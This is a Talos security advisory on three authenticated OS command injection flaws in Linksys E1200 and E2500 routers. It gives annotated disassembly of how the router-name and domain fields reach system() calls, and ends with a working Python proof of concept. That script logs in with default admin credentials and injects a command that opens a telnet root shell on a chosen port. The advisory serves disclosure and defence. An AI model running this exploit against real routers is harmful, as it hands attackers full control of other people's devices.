Talos Vulnerability Report

TALOS-2018-0625

Linksys ESeries multiple OS command injection vulnerabilities

October 16, 2018
CVE Number

CVE-2018-3953, CVE-2018-3954, CVE-2018-3955

Summary

Multiple exploitable operating system command injections exist in the Linksys ESeries line of routers. Specially crafted entries to network configuration information can cause execution of arbitrary system commands, resulting in full control of the device. An attacker can send an authenticated HTTP request to trigger this vulnerability.

Tested Versions

Linksys E1200 Firmware Version 2.0.09 Linksys E2500 Firmware Version 3.0.04

Product URLs

https://www.linksys.com/us/support-product?pid=01t80000003KRTzAAO
https://www.linksys.com/us/support-product?pid=01t80000003KZuNAAW

CVSSv3 Score

7.2 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Details

Multiple devices in the Linksys ESeries line of routers are susceptible to OS command injection vulnerabilities due to improper filtering of data passed to and retrieved from NVRAM.

Many of the configuration details passed to ESeries routers during configuration must be retained across a device's power cycle. Since the device has only one writable directory (/tmp) and that directory is cleared on reboot, the device uses NVRAM to store configuration details.

When the apply.cgi page is requested with parameters indicating a change to persistent configuration settings, those parameters are processed by the 'get_cgi' function call during which they get placed directly into NVRAM via a 'set_nvram' call.

The following example is the apply.cgi disassembly of the path that is taken to write any passed configuration data to NVRAM. Execution starts at address 0x00425C20 where the variables are first loaded, and then enters a loop until all passed variables are processed.

### binary: httpd
.text:0041FBC4                 li      $gp, 0xE760C
.text:0041FBCC                 addu    $gp, $t9
.text:0041FBD0                 addiu   $sp, -0x28
.text:0041FBD4                 sw      $ra, 0x20($sp)                          # stores return address onto stack (0x00425CAC)
.text:0041FBD8                 sw      $s1, 0x1C($sp)
.text:0041FBDC                 sw      $s0, 0x18($sp)
.text:0041FBE0                 sw      $gp, 0x10($sp)
.text:0041FBE4                 la      $t9, valid_name                         # valid_name checks to ensure the name is expected
.text:0041FBE8                 move    $s1, $a1                                # $s1 == RAW_MACHINE_NAME_DATA
.text:0041FBEC                 jalr    $t9                                     # goto: valid_name
.text:0041FBF0                 move    $s0, $a2
.text:0041FBF4                 lw      $gp, 0x10($sp)
.text:0041FBF8                 bnez    $v0, loc_41FC14                         # $v0 != 0 for vulnerable params
.text:0041FBFC                 move    $a1, $s1                                # $a1 == RAW_MACHINE_NAME_DATA 
...
.text:0041FC14 loc_41FC14:
.text:0041FC14                 lw      $a0, 0($s0)                             # $a0 == VULN_PARAM
.text:0041FC18                 la      $t9, nvram_set
.text:0041FC1C                 lw      $ra, 0x20($sp)                          # gets return address back from stack (0x00425CAC)
.text:0041FC20                 lw      $s1, 0x1C($sp)
.text:0041FC24                 lw      $s0, 0x18($sp)
.text:0041FC28                 jr      $t9                                     # goto: nvram_set(VULN_PARAM, RAW_MACHINE_NAME_DATA)
.text:0041FC2C                 addiu   $sp, 0x28
...
.text:00425C20 loc_425C20:                                                     ## VARIABLE_LOAD
.text:00425C20                                          
.text:00425C20                 la      $s0, variables                          # POST data
.text:00425C24                 b       loc_425C5C                              # jumps to start of loop
.text:00425C28                 addiu   $s1, $s0, (gozila_actions - 0x4FB070)
...
.text:00425C54 loc_425C54:
.text:00425C54                 beq     $s0, $s1, loc_425CB8
.text:00425C58                 nop
.text:00425C5C
.text:00425C5C loc_425C5C:                                                     ## LOOP_START
.text:00425C5C                 la      $t9, get_cgi
.text:00425C60                 lw      $a0, 0($s0)                             # $a0 == VULN_PARAM
.text:00425C64                 jalr    $t9                                     # goto: get_cgi
.text:00425C68                 nop                                             # $v0 == RAW_MACHINE_NAME_DATA
.text:00425C6C                 lw      $gp, 0x860+var_840($sp)
.text:00425C70                 move    $v1, $v0                                # RAW_MACHINE_NAME_DATA moved to $v1
.text:00425C74                 la      $t9, nvram_set
.text:00425C78                 move    $a1, $v0
.text:00425C7C                 beqz    $v0, loc_425C50                         # $v0 != 0 for vulnerable params
.text:00425C80                 move    $a3, $t9
.text:00425C84                 lb      $v0, 0($v0)                             # $v0 set to first byte of RAW_MACHINE_NAME_DATA
.text:00425C88                 move    $a2, $s0
.text:00425C8C                 beqz    $v0, loc_425C2C                         # $v0 != 0 for vulnerable params
.text:00425C90                 move    $a0, $s7
.text:00425C94
.text:00425C94 loc_425C94:
.text:00425C94                 lw      $t9, 8($s0)                             # loads an address to check the key name
.text:00425C98                 nop
.text:00425C9C                 beqz    $t9, loc_425C3C                         # $t9 != 0 for vulnerable params
.text:00425CA0                 nop
.text:00425CA4                 jalr    $t9                                     # goto: 0x0041FBC4
.text:00425CA8                 move    $a1, $v1                                # sets arg to RAW_MACHINE_NAME_DATA
.text:00425CAC                 lw      $gp, 0x860+var_840($sp)
.text:00425CB0                 b       loc_425C54                              # goto: LOOP_START
.text:00425CB4                 addiu   $s0, 0x18

After certain configuration changes are made, including both of the changes associated with these vulnerabilities, a reboot of device services is required. The httpd binary handles this by sending a SIGHUP signal to PID 1, a binary named 'preinit'. When 'preinit' receives this signal it enters a code path where it restarts all necessary system services. This example can be seen in the apply.cgi disassembly below:

### binary: httpd
.text:00425824 loc_425824:
.text:00425824                 la      $t9, kill
.text:00425828                 li      $a0, 1           # pid
.text:0042582C                 jalr    $t9              # runs: kill -1 1
.text:00425830                 li      $a1, 1           # sig
.text:00425834                 lw      $gp, 0x860+var_840($sp)
.text:00425838                 b       loc_4256AC
.text:0042583C                 nop

When the 'preinit' binary enters this code path, it exposes functionality where raw data from nvram_get calls is passed into system commands. Examples for each of the three command injection vulnerabilities can be seen below.

CVE-2018-3953 - machine_name - start_lltd

Data entered into the 'Router Name' input field through the web portal is submitted to apply.cgi as the value to the 'machine_name' POST parameter. The machine_name data goes through the nvram_set process described above. When the 'preinit' binary receives the SIGHUP signal it enters a code path that continues until it reaches offset 0x0042B5C4 in the 'start_lltd' function. Within the 'start_lltd' function, a 'nvram_get' call is used to obtain the value of the user-controlled 'machine_name' NVRAM entry. This value is then entered directly into a command intended to write the host name to a file and subsequently executed.

### binary: preinit
.text:0042B5C4 loc_42B5C4:
.text:0042B5C4                 la      $a0, sub_470000
.text:0042B5C8                 la      $t9, nvram_get
.text:0042B5CC                 move    $t9, $s0
.text:0042B5D0                 jalr    $t9                                     # nvram_get("machine_name")
.text:0042B5D4                 addiu   $a0, (aMachineName - 0x470000)          # "machine_name"
.text:0042B5D8                 lw      $gp, 0x130+var_120($sp)
.text:0042B5DC                 beqz    $v0, loc_42B6C0                         # $v0 == RAW_MACHINE_NAME_DATA
.text:0042B5E0                 nop
.text:0042B5E4
.text:0042B5E4 loc_42B5E4:
.text:0042B5E4                 la      $a1, aORemoteServer
.text:0042B5E8                 la      $t9, sprintf
.text:0042B5EC                 addiu   $s1, $sp, 0x130+var_118
.text:0042B5F0                 addiu   $a1, (aEchoSProcSysKe - 0x480000)       # $a1 == "echo %s > /proc/sys/kernel/hostname"
.text:0042B5F4                 move    $a2, $v0                                # $a2 == RAW_MACHINE_NAME_DATA
.text:0042B5F8                 move    $a0, $s1                                # $a0 == $s1
.text:0042B5FC                 jalr    $t9 ; sprintf                           # sprintf($s1, "echo %s > /proc/sys/kernel/hostname", RAW_MACHINE_NAME_DATA)
.text:0042B600                 move    $s3, $t9
.text:0042B604                 lw      $gp, 0x130+var_120($sp)
.text:0042B608                 move    $a0, $s1                                # $a0 == FINAL_CMD
.text:0042B60C                 la      $t9, system
.text:0042B610                 nop
.text:0042B614                 jalr    $t9                                     # system("echo RAW_MACHINE_NAME_DATA > /proc/sys/kernel/hostname")
.text:0042B618                 move    $s2, $t9

CVE-2018-3954 - machine_name - set_host_domain_name

Data entered into the 'Router Name' input field through the web portal is submitted to apply.cgi as the value to the 'machine_name' POST parameter. The machine_name data goes through the nvram_set process described above. When the 'preinit' binary receives the SIGHUP signal it enters a code path that calls a function named 'set_host_domain_name' from its libshared.so shared object.

### binary: preinit
.text:0041F040 loc_41F040:
.text:0041F040                 la      $a0, aORemoteServer
.text:0041F044                 la      $t9, nvram_set
.text:0041F048                 addiu   $a0, (aWanRunMtu - 0x480000)
.text:0041F04C                 move    $a1, $v0
.text:0041F050                 jalr    $t9
.text:0041F054                 move    $s3, $t9
.text:0041F058                 lw      $gp, 0xD0+var_B0($sp)
.text:0041F05C                 nop
.text:0041F060                 la      $t9, set_host_domain_name               # function containing vuln
.text:0041F064                 nop
.text:0041F068                 jalr    $t9                                     # goto: set_host_domain_name
.text:0041F06C                 nop

The 'set_host_domain_name' function in libshared.so continues to offset 0x0001FA40 where nvram_get is called against the 'machine_name' parameter. The result of that operation is subsequently combined with a string via a sprintf call and passed directly into system.

### shared object: libshared.so
.text:0001FA10 set_host_domain_name:
.text:0001FA10
.text:0001FA10 var_118         = -0x118
.text:0001FA10 var_110         = -0x110
.text:0001FA10 var_10          = -0x10
.text:0001FA10 var_C           = -0xC
.text:0001FA10 var_8           = -8
.text:0001FA10 var_4           = -4
.text:0001FA10
.text:0001FA10                 li      $gp, 0xB4800
.text:0001FA18                 addu    $gp, $t9
.text:0001FA1C                 addiu   $sp, -0x128
.text:0001FA20                 sw      $ra, 0x128+var_4($sp)
.text:0001FA24                 sw      $s2, 0x128+var_8($sp)
.text:0001FA28                 sw      $s1, 0x128+var_C($sp)
.text:0001FA2C                 sw      $s0, 0x128+var_10($sp)
.text:0001FA30                 sw      $gp, 0x128+var_118($sp)
.text:0001FA34                 la      $a0, aAluesMayBeInco
.text:0001FA38                 la      $t9, nvram_get
.text:0001FA3C                 addiu   $a0, (aMachineName - 0x70000)           # $a0 == "machine_name"
.text:0001FA40                 jalr    $t9                                     # nvram_get("machine_name")
.text:0001FA44                 move    $s0, $t9
.text:0001FA48                 lw      $gp, 0x128+var_118($sp)
.text:0001FA4C                 beqz    $v0, loc_1FBF0                          # $v0 == RAW_MACHINE_NAME_DATA
.text:0001FA50                 nop
.text:0001FA54
.text:0001FA54 loc_1FA54:
.text:0001FA54                 la      $a1, aAluesMayBeInco
.text:0001FA58                 la      $t9, sprintf
.text:0001FA5C                 addiu   $s1, $sp, 0x128+var_110
.text:0001FA60                 addiu   $a1, (aEchoSProcSysKe - 0x70000)        # $a1 == "echo \"%s\" > /proc/sys/kernel/hostname"
.text:0001FA64                 move    $a2, $v0                                # $a2 == RAW_MACHINE_NAME_DATA
.text:0001FA68                 jalr    $t9                                     # sprintf($s1, "echo \"%s\" > /proc/sys/kernel/hostname", RAW_MACHINE_NAME_DATA)
.text:0001FA6C                 move    $a0, $s1                                # $a0 == $s1
.text:0001FA70                 lw      $gp, 0x128+var_118($sp)
.text:0001FA74                 nop
.text:0001FA78                 la      $t9, system
.text:0001FA7C                 nop
.text:0001FA80                 jalr    $t9                                     # system("echo \"[RAW_MACHINE_NAME_DATA]\" > /proc/sys/kernel/hostname")
.text:0001FA84                 move    $a0, $s1                                # "echo \"[RAW_MACHINE_NAME_DATA]\" > /proc/sys/kernel/hostname"

CVE-2018-3955 - wan_domain - set_host_domain_name

Data entered into the 'Domain Name' input field through the web portal is submitted to apply.cgi as the value to the 'wan_domain' POST parameter. The wan_domain data goes through the nvram_set process described above. When the 'preinit' binary receives the SIGHUP signal it enters a code path that calls a function named 'set_host_domain_name' from its libshared.so shared object.

### binary: preinit
.text:0041F040 loc_41F040:
.text:0041F040                 la      $a0, aORemoteServer
.text:0041F044                 la      $t9, nvram_set
.text:0041F048                 addiu   $a0, (aWanRunMtu - 0x480000)
.text:0041F04C                 move    $a1, $v0
.text:0041F050                 jalr    $t9
.text:0041F054                 move    $s3, $t9
.text:0041F058                 lw      $gp, 0xD0+var_B0($sp)
.text:0041F05C                 nop
.text:0041F060                 la      $t9, set_host_domain_name               # function containing vuln
.text:0041F064                 nop
.text:0041F068                 jalr    $t9                                     # goto: set_host_domain_name
.text:0041F06C                 nop

The 'set_host_domain_name' function in libshared.so continues until offset 0x0001FBCC where nvram_get is called against the 'wan_domain' parameter. The result of that operation is subsequently combined with a string via a snprintf call and passed directly into system.

## shared object: libshared.so
.text:0001FB7C loc_1FB7C:
.text:0001FB7C
.text:0001FB7C                 la      $a2, aAluesMayBeInco
.text:0001FB80                 la      $t9, snprintf
.text:0001FB84                 move    $a0, $s1                                # $a0 == $s1 == ptr to final cmd buffer
.text:0001FB88                 addiu   $a2, (aEchoSProcSysKe_0 - 0x70000)      # $a2 == "echo \"%s\" > /proc/sys/kernel/domainname"
.text:0001FB8C                 move    $a3, $v0                                # $a3 == RAW_MACHINE_NAME_DATA
.text:0001FB90                 jalr    $t9 ; snprintf                          # snprintf($s1, 0xFE, "echo \"%s\" > /proc/sys/kernel/domainname", RAW_MACHINE_NAME_DATA)
.text:0001FB94                 li      $a1, 0xFE                               # $a1 == snprintf max size
.text:0001FB98                 lw      $gp, 0x128+var_118($sp)
.text:0001FB9C                 nop
.text:0001FBA0                 la      $t9, system
.text:0001FBA4                 nop
.text:0001FBA8                 jalr    $t9 ; system                            # system("echo \"[RAW_MACHINE_NAME_DATA]\" > /proc/sys/kernel/domainname")
.text:0001FBAC                 move    $a0, $s1                                
.text:0001FBB0                 lw      $gp, 0x128+var_118($sp)
.text:0001FBB4                 lw      $ra, 0x128+var_4($sp)
.text:0001FBB8                 lw      $s2, 0x128+var_8($sp)
.text:0001FBBC                 lw      $s1, 0x128+var_C($sp)
.text:0001FBC0                 lw      $s0, 0x128+var_10($sp)
.text:0001FBC4                 jr      $ra
.text:0001FBC8                 addiu   $sp, 0x128
.text:0001FBCC loc_1FBCC:                                                     
.text:0001FBCC
.text:0001FBCC                 la      $t9, nvram_get
.text:0001FBD0                 move    $t9, $s0
.text:0001FBD4                 jalr    $t9                                     # nvram_get("wan_domain")
.text:0001FBD8                 addiu   $a0, $s2, (aWanDomain - 0x70000)        # $a0 == "wan_domain"
.text:0001FBDC                 lw      $gp, 0x128+var_118($sp)
.text:0001FBE0                 bnez    $v0, loc_1FB7C                          # $v0 == RAW_MACHINE_NAME_DATA
.text:0001FBE4                 nop
.text:0001FBE8                 b       loc_1FB20
.text:0001FBEC                 nop

Crash Information

N/A

Exploit Proof of Concept

Usage:

python poc.py [vulnerable_param] [target_ip] [port_to_open]

Vulnerable parameters: - wandomain - machinename

Example:

python poc.py wan_domain 192.168.1.1 1337

NOTE: This proof of concept will work for both the E1200 and the E2500.

  Differences in authentication are handled by a request to /HNAP1:

import requests
import hashlib
import sys
import re
from time import sleep

def printError(additionalComment):
    if additionalComment != "":
        print "[!] ERROR: %s" % additionalComment
    print "Usage: python poc.py [vulnerable_param] [target_ip] [port_to_open]"
    print ""
    print "Vulnerable Parameters"
    print " - wan_domain"
    print " - machine_name"
    exit(0)

def hashPassword(password):
    password_size = len(password)
    if password_size < 10:
        password_size = "0%s" % (password_size)
    base_key = "%s%s" % (password, password_size)
    base_key_size = len(base_key)
    max_password_size = 64
    key = ""
    for i in xrange(max_password_size):
        key = "%s%s" % (key, base_key[i%base_key_size])

    hashed_password = hashlib.md5(key).hexdigest()
    return hashed_password

def sendCmd(param, base_uri, session, cmd):
    # format command appropriately
    cmd = "`%s `" % (cmd)

    # set up header details
    uri = "%s/apply.cgi%s" % (base_uri, session)
    referer = "%s/index.asp?%s" % (base_uri, session)
    headers = {"Referer":referer}

    # set the desired parameter
    machine_name_cmd = ""
    wan_domain_cmd = ""
    if param == "machine_name":
        machine_name_cmd = cmd
    elif param == "wan_domain":
        wan_domain_cmd = cmd
    else:
        printError("An invalid parameter was entered")

    # set up POST data
    data =  "submit_button=index&change_action=&submit_type=&gui_action=Apply"
    data += "&now_proto=dhcp&daylight_time=1&switch_mode=0&hnap_devicename="
    data += "&need_reboot=0&user_language=&wait_time=0&dhcp_start=100"
    data += "&dhcp_start_conflict=0&lan_ipaddr=4&ppp_demand_pppoe=9"
    data += "&ppp_demand_pptp=9&ppp_demand_l2tp=9&ppp_demand_hb=9"
    data += "&wan_ipv6_proto=dhcp&detect_lang=en&wan_proto=dhcp&wan_hostname="
    data += "&wan_domain=%s&mtu_enable=0&lan_ipaddr_0=192&lan_ipaddr_1=168" % (wan_domain_cmd)
    data += "&lan_ipaddr_2=1&lan_ipaddr_3=1&lan_netmask=255.255.255.0"
    data += "&machine_name=%s&lan_proto=dhcp&dhcp_check=&dhcp_start_tmp=100" % (machine_name_cmd)
    data += "&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&wan_dns0_1=0"
    data += "&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0"
    data += "&wan_dns1_3=0&wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0"
    data += "&wan_wins=4&wan_wins_0=0&wan_wins_1=0&wan_wins_2=0&wan_wins_3=0"
    data += "&time_zone=-08+1+1&_daylight_time=1"

    # make request
    res = requests.post(uri, headers=headers, data=data)
    sleep(30)

def main():
    # check input
    if len(sys.argv) != 4:
        printError("")

    param = sys.argv[1]
    rhost = sys.argv[2]
    rport = sys.argv[3]

    if param != "wan_domain" and param != "machine_name":
        printError("An invalid parameter was entered")

    user = "admin"
    raw_password = "admin"
    http_port = 80

    base_uri = "http://%s:%s" % (rhost, http_port)

    try:
        # get the device version to see if we have to hash the password before transmission
        # only has to happen for the E1200 at this time
        password = ""
        uri = "%s/HNAP1" % (base_uri)
        res = requests.get(uri)
        device = re.search("<ModelDescription>.*?</ModelDescription>", res.text).group(0)
        device = device.split("<ModelDescription>")[1]
        device = device.split("</ModelDescription>")[0]
        if device == "E1200":
            # hash the password for transit
            password = hashPassword(raw_password)
        else:
            password = raw_password

        # get the session token
        print "[*] Getting a session token using credentials %s:%s" % (user, raw_password)
        uri = "%s/login.cgi" % (base_uri)
        data =  "submit_button=login&change_action=&action=Apply&wait_time=19"
        data += "&submit_type=&http_username=%s&http_passwd=%s" % (user, password)
        res = requests.post(uri, data=data)

        # extract the session id with the required initial character (? for FRNv4 and ; for FRNv0)
        session = re.search('.session_id=[\d\w]{32}', res.text).group(0)
        print "[*] Got session: %s" % (session[12:])

        # start telnet backdoor
        print "[*] Opening Backdoor"
        cmd = "telnetd -l/bin/sh -p%s" % (rport)
        sendCmd(param, base_uri, session, cmd)

        print "[*] done"

    except Exception as e:
        printError(e)

if __name__ == '__main__':
    main()

Timeline

2018-07-09 - Vendor Disclosure
2018-08-14 - Vendor released patch for e1200
2018-10-04 - Vendor released patch for e2500
2018-10-10 - Public disclosure

Credit

Discovered by Jared Rittle of Cisco Talos